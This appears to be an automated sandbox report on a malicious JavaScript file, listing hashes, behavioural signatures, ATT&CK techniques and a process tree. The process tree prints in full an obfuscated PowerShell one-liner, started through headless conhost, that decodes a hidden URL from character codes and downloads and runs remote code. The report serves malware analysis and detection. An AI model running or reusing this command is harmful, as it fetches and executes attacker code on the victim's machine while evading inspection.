f6059943a43a16c530afe328933b6448ad80969d3036e5372c772c6d6c403f82

Analysis

max time kernel
95s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 15:03

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General

Target

345b3f8036d5b93995334289ff468e73e93aaac22ee0f40d6e965bcf854f1939.js
Size

217KB
MD5

5df4ce8cb9078a3f29305e76f3dde592
SHA1

e0b42f7c4475cd54ab46a9eb131da852162ad2fa
SHA256

345b3f8036d5b93995334289ff468e73e93aaac22ee0f40d6e965bcf854f1939
SHA512

3135a015a300f08e4c149c1734455f0a5b0ef15f810dc88d4a8c3360146e33b03fea965851c64071bf75caea0af6c840f07286d16038f1e315ff24285d2ae68e
SSDEEP

1536:nwEjLrwa7qpg3rSoY9BdiBJprdq+VcGma4H52scrGpwa7qpg3rSoY9BdiBJprdqQ:nPphmjhv+phDh4

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4752	3816	conhost.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	3280	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3280	powershell.exe
3280	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3280	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4752 wrote to memory of 3280	4752	conhost.exe	84
PID 4752 wrote to memory of 3280	4752	conhost.exe	84

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\345b3f8036d5b93995334289ff468e73e93aaac22ee0f40d6e965bcf854f1939.js
1⤵
PID:852

C:\Windows\system32\conhost.exe
conhost --headless powershell $rhbtdeljc='ur' ;new-alias printout c$($rhbtdeljc)l;$afkigejy=(4775,4786,4794,4778,4780,4775,4795,4794,4799,4732,4794,4728,4775,4723,4793,4788,4789,4724,4726,4723,4789,4781,4789,4740,4792,4738,4786,4782,4787,4793,4792,4727,4726);$irpcavqnhjldew=('bronx','get-cmdlet');$dsimvrxc=$afkigejy;foreach($jyldcntewxm in $dsimvrxc){$topieb=$jyldcntewxm;$svbugawprfxiec=$svbugawprfxiec+[char]($topieb-4677);$bhlxvgicezd=$svbugawprfxiec; $jwespquzfx=$bhlxvgicezd};$xpgifk[2]=$jwespquzfx;$ithdrb='rl';$milnxpge=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jwespquzfx)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $rhbtdeljc='ur' ;new-alias printout c$($rhbtdeljc)l;$afkigejy=(4775,4786,4794,4778,4780,4775,4795,4794,4799,4732,4794,4728,4775,4723,4793,4788,4789,4724,4726,4723,4789,4781,4789,4740,4792,4738,4786,4782,4787,4793,4792,4727,4726);$irpcavqnhjldew=('bronx','get-cmdlet');$dsimvrxc=$afkigejy;foreach($jyldcntewxm in $dsimvrxc){$topieb=$jyldcntewxm;$svbugawprfxiec=$svbugawprfxiec+[char]($topieb-4677);$bhlxvgicezd=$svbugawprfxiec; $jwespquzfx=$bhlxvgicezd};$xpgifk[2]=$jwespquzfx;$ithdrb='rl';$milnxpge=1;.$([char](9992-9887)+'e'+'x')(printout -useb $jwespquzfx)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2b4nljm.5c0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3280-0-0x00007FFDB5643000-0x00007FFDB5645000-memory.dmp

Filesize
8KB

Download
memory/3280-6-0x000002FDF6E60000-0x000002FDF6E82000-memory.dmp

Filesize
136KB

Download
memory/3280-11-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/3280-12-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/3280-13-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/3280-14-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/3280-15-0x00007FFDB5643000-0x00007FFDB5645000-memory.dmp

Filesize
8KB

Download
memory/3280-16-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download
memory/3280-19-0x00007FFDB5640000-0x00007FFDB6101000-memory.dmp

Filesize
10.8MB

Download